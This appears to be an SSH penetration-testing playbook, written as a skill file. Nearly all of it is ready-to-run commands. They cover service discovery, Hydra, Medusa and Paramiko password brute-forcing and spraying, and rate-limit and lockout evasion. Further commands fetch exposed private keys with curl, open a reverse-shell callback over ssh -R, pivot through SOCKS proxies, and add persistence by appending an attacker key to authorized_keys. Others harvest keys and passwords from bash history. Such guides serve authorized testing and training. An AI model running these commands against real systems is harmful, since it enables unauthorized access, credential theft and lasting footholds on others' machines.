SSH Penetration Testing

# SSH Penetration Testing

## Purpose

Conduct comprehensive SSH security assessments including enumeration, credential attacks, vulnerability exploitation, tunneling techniques, and post-exploitation activities. This skill covers the complete methodology for testing SSH service security.

## Prerequisites

### Required Tools
- Nmap with SSH scripts
- Hydra or Medusa for brute-forcing
- ssh-audit for configuration analysis
- Metasploit Framework
- Python with Paramiko library

### Required Knowledge
- SSH protocol fundamentals
- Public/private key authentication
- Port forwarding concepts
- Linux command-line proficiency

## Outputs and Deliverables

1. **SSH Enumeration Report** - Versions, algorithms, configurations
2. **Credential Assessment** - Weak passwords, default credentials
3. **Vulnerability Assessment** - Known CVEs, misconfigurations
4. **Tunnel Documentation** - Port forwarding configurations

## Core Workflow

### Phase 1: SSH Service Discovery

Identify SSH services on target networks:

```bash
# Quick SSH port scan
nmap -p 22 192.168.1.0/24 --open

# Common alternate SSH ports
nmap -p 22,2222,22222,2200 192.168.1.100

# Full port scan for SSH
nmap -p- --open 192.168.1.100 | grep -i ssh

# Service version detection
nmap -sV -p 22 192.168.1.100
```

### Phase 2: SSH Enumeration

Gather detailed information about SSH services:

```bash
# Banner grabbing
nc 192.168.1.100 22
# Output: SSH-2.0-OpenSSH_8.4p1 Debian-5

# Telnet banner grab
telnet 192.168.1.100 22

# Nmap version detection with scripts
nmap -sV -p 22 --script ssh-hostkey 192.168.1.100

# Enumerate supported algorithms
nmap -p 22 --script ssh2-enum-algos 192.168.1.100

# Get host keys
nmap -p 22 --script ssh-hostkey --script-args ssh_hostkey=full 192.168.1.100

# Check authentication methods
nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=root" 192.168.1.100
```

### Phase 3: SSH Configuration Auditing

Identify weak configurations:

```bash
# ssh-audit - comprehensive SSH audit
ssh-audit 192.168.1.100

# ssh-audit with specific port
ssh-audit -p 2222 192.168.1.100

# Output includes:
# - Algorithm recommendations
# - Security vulnerabilities
# - Hardening suggestions
```

Key configuration weaknesses to identify:
- Weak key exchange algorithms (diffie-hellman-group1-sha1)
- Weak ciphers (arcfour, 3des-cbc)
- Weak MACs (hmac-md5, hmac-sha1-96)
- Deprecated protocol versions

### Phase 4: Credential Attacks

#### Brute-Force with Hydra

```bash
# Single username, password list
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100

# Username list, single password
hydra -L users.txt -p Password123 ssh://192.168.1.100

# Username and password lists
hydra -L users.txt -P passwords.txt ssh://192.168.1.100

# With specific port
hydra -l admin -P passwords.txt -s 2222 ssh://192.168.1.100

# Rate limiting evasion (slow)
hydra -l admin -P passwords.txt -t 1 -w 5 ssh://192.168.1.100

# Verbose output
hydra -l admin -P passwords.txt -vV ssh://192.168.1.100

# Exit on first success
hydra -l admin -P passwords.txt -f ssh://192.168.1.100
```

#### Brute-Force with Medusa

```bash
# Basic brute-force
medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh

# Multiple targets
medusa -H targets.txt -u admin -P passwords.txt -M ssh

# With username list
medusa -h 192.168.1.100 -U users.txt -P passwords.txt -M ssh

# Specific port
medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh -n 2222
```

#### Password Spraying

```bash
# Test common password across users
hydra -L users.txt -p Summer2024! ssh://192.168.1.100

# Multiple common passwords
for pass in "Password123" "Welcome1" "Summer2024!"; do
    hydra -L users.txt -p "$pass" ssh://192.168.1.100
done
```

### Phase 5: Key-Based Authentication Testing

Test for weak or exposed keys:

```bash
# Attempt login with found private key
ssh -i id_rsa user@192.168.1.100

# Specify key explicitly (bypass agent)
ssh -o IdentitiesOnly=yes -i id_rsa user@192.168.1.100

# Force password authentication
ssh -o PreferredAuthentications=password user@192.168.1.100

# Try common key names
for key in id_rsa id_dsa id_ecdsa id_ed25519; do
    ssh -i "$key" user@192.168.1.100
done
```

Check for exposed keys:

```bash
# Common locations for private keys
~/.ssh/id_rsa
~/.ssh/id_dsa
~/.ssh/id_ecdsa
~/.ssh/id_ed25519
/etc/ssh/ssh_host_*_key
/root/.ssh/
/home/*/.ssh/

# Web-accessible keys (check with curl/wget)
curl -s http://target.com/.ssh/id_rsa
curl -s http://target.com/id_rsa
curl -s http://target.com/backup/ssh_keys.tar.gz
```

### Phase 6: Vulnerability Exploitation

Search for known vulnerabilities:

```bash
# Search for exploits
searchsploit openssh
searchsploit openssh 7.2

# Common SSH vulnerabilities
# CVE-2018-15473 - Username enumeration
# CVE-2016-0777 - Roaming vulnerability
# CVE-2016-0778 - Buffer overflow

# Metasploit enumeration
msfconsole
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.100
run

# Username enumeration (CVE-2018-15473)
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS 192.168.1.100
set USER_FILE /usr/share/wordlists/users.txt
run
```

### Phase 7: SSH Tunneling and Port Forwarding

#### Local Port Forwarding

Forward local port to remote service:

```bash
# Syntax: ssh -L <local_port>:<remote_host>:<remote_port> user@ssh_server

# Access internal web server through SSH
ssh -L 8080:192.168.1.50:80 user@192.168.1.100
# Now access http://localhost:8080

# Access internal database
ssh -L 3306:192.168.1.50:3306 user@192.168.1.100

# Multiple forwards
ssh -L 8080:192.168.1.50:80 -L 3306:192.168.1.51:3306 user@192.168.1.100
```

#### Remote Port Forwarding

Expose local service to remote network:

```bash
# Syntax: ssh -R <remote_port>:<local_host>:<local_port> user@ssh_server

# Expose local web server to remote
ssh -R 8080:localhost:80 user@192.168.1.100
# Remote can access via localhost:8080

# Reverse shell callback
ssh -R 4444:localhost:4444 user@192.168.1.100
```

#### Dynamic Port Forwarding (SOCKS Proxy)

Create SOCKS proxy for network pivoting:

```bash
# Create SOCKS proxy on local port 1080
ssh -D 1080 user@192.168.1.100

# Use with proxychains
echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf
proxychains nmap -sT -Pn 192.168.1.0/24

# Browser configuration
# Set SOCKS proxy to localhost:1080
```

#### ProxyJump (Jump Hosts)

Chain through multiple SSH servers:

```bash
# Jump through intermediate host
ssh -J user1@jump_host user2@target_host

# Multiple jumps
ssh -J user1@jump1,user2@jump2 user3@target

# With SSH config
# ~/.ssh/config
Host target
    HostName 192.168.2.50
    User admin
    ProxyJump user@192.168.1.100
```

### Phase 8: Post-Exploitation

Activities after gaining SSH access:

```bash
# Check sudo privileges
sudo -l

# Find SSH keys
find / -name "id_rsa" 2>/dev/null
find / -name "id_dsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null

# Check SSH directory
ls -la ~/.ssh/
cat ~/.ssh/known_hosts
cat ~/.ssh/authorized_keys

# Add persistence (add your key)
echo "ssh-rsa AAAAB3..." >> ~/.ssh/authorized_keys

# Extract SSH configuration
cat /etc/ssh/sshd_config

# Find other users
cat /etc/passwd | grep -v nologin
ls /home/

# History for credentials
cat ~/.bash_history | grep -i ssh
cat ~/.bash_history | grep -i pass
```

### Phase 9: Custom SSH Scripts with Paramiko

Python-based SSH automation:

```python
#!/usr/bin/env python3
import paramiko
import sys

def ssh_connect(host, username, password):
    """Attempt SSH connection with credentials"""
    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    
    try:
        client.connect(host, username=username, password=password, timeout=5)
        print(f"[+] Success: {username}:{password}")
        return client
    except paramiko.AuthenticationException:
        print(f"[-] Failed: {username}:{password}")
        return None
    except Exception as e:
        print(f"[!] Error: {e}")
        return None

def execute_command(client, command):
    """Execute command via SSH"""
    stdin, stdout, stderr = client.exec_command(command)
    output = stdout.read().decode()
    errors = stderr.read().decode()
    return output, errors

def ssh_brute_force(host, username, wordlist):
    """Brute-force SSH with wordlist"""
    with open(wordlist, 'r') as f:
        passwords = f.read().splitlines()
    
    for password in passwords:
        client = ssh_connect(host, username, password.strip())
        if client:
            # Run post-exploitation commands
            output, _ = execute_command(client, 'id; uname -a')
            print(output)
            client.close()
            return True
    return False

# Usage
if __name__ == "__main__":
    target = "192.168.1.100"
    user = "admin"
    
    # Single credential test
    client = ssh_connect(target, user, "password123")
    if client:
        output, _ = execute_command(client, "ls -la")
        print(output)
        client.close()
```

### Phase 10: Metasploit SSH Modules

Use Metasploit for comprehensive SSH testing:

```bash
# Start Metasploit
msfconsole

# SSH Version Scanner
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.0/24
run

# SSH Login Brute-Force
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.100
set USERNAME admin
set PASS_FILE /usr/share/wordlists/rockyou.txt
set VERBOSE true
run

# SSH Key Login
use auxiliary/scanner/ssh/ssh_login_pubkey
set RHOSTS 192.168.1.100
set USERNAME admin
set KEY_FILE /path/to/id_rsa
run

# Username Enumeration
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS 192.168.1.100
set USER_FILE users.txt
run

# Post-exploitation with SSH session
sessions -i 1
```

## Quick Reference

### SSH Enumeration Commands

| Command | Purpose |
|---------|---------|
| `nc <host> 22` | Banner grabbing |
| `ssh-audit <host>` | Configuration audit |
| `nmap --script ssh*` | SSH NSE scripts |
| `searchsploit openssh` | Find exploits |

### Brute-Force Options

| Tool | Command |
|------|---------|
| Hydra | `hydra -l user -P pass.txt ssh://host` |
| Medusa | `medusa -h host -u user -P pass.txt -M ssh` |
| Ncrack | `ncrack -p 22 --user admin -P pass.txt host` |
| Metasploit | `use auxiliary/scanner/ssh/ssh_login` |

### Port Forwarding Types

| Type | Command | Use Case |
|------|---------|----------|
| Local | `-L 8080:target:80` | Access remote services locally |
| Remote | `-R 8080:localhost:80` | Expose local services remotely |
| Dynamic | `-D 1080` | SOCKS proxy for pivoting |

### Common SSH Ports

| Port | Description |
|------|-------------|
| 22 | Default SSH |
| 2222 | Common alternate |
| 22222 | Another alternate |
| 830 | NETCONF over SSH |

## Constraints and Limitations

### Legal Considerations
- Always obtain written authorization
- Brute-forcing may violate ToS
- Document all testing activities

### Technical Limitations
- Rate limiting may block attacks
- Fail2ban or similar may ban IPs
- Key-based auth prevents password attacks
- Two-factor authentication adds complexity

### Evasion Techniques
- Use slow brute-force: `-t 1 -w 5`
- Distribute attacks across IPs
- Use timing-based enumeration carefully
- Respect lockout thresholds

## Troubleshooting

| Issue | Solutions |
|-------|-----------|
| Connection Refused | Verify SSH running; check firewall; confirm port; test from different IP |
| Authentication Failures | Verify username; check password policy; key permissions (600); authorized_keys format |
| Tunnel Not Working | Check GatewayPorts/AllowTcpForwarding in sshd_config; verify firewall; use `ssh -v` |